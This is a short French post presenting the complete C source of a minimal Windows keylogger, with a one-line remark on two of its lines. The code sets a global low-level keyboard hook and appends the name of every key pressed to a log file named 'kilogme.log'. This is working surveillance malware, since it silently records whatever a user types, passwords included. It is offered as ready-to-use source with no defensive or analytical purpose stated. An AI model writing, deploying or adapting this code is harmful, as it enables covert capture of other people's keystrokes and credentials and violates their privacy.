Un petit code source d’un keylogger vraiment minimaliste… (38 lignes)

#include <windows.h>
#include <stdio.h> 
#include <tchar.h>
 
HHOOK hKeyHook;
LRESULT KeyEvent (int nCode, WPARAM wParam, LPARAM lParam)
{
    if((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
    {
		KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT *) lParam);
		TCHAR lpszName[255 + 1] = {0};
		DWORD dwMsg = 1 + (hooked.scanCode << 16) + (hooked.flags << 24);
		FILE * file = NULL;
		if(!_tfopen_s(&file, TEXT("kilogme.log"), TEXT("a+")))
		{
			lpszName[0] = TEXT(' ');
			GetKeyNameText(dwMsg, (lpszName + 1), ARRAYSIZE(lpszName) - 1);
			_fputts(lpszName, file);
			fclose(file);
		}
	}
	return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}
 
int WINAPI WinMain (HINSTANCE instance, HINSTANCE prev_instance, PSTR cmd_line, int cmd_show)
{
	MSG message;
	hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) KeyEvent, GetModuleHandle(NULL), 0);
	while (GetMessage(&message,NULL,0,0))
	{
		TranslateMessage(&message);
		DispatchMessage(&message);
	}
	UnhookWindowsHookEx(hKeyHook);
	return ERROR_SUCCESS;
}

Le code en ligne 11 et 16 ne sert qu’à mettre un espace entre les touches.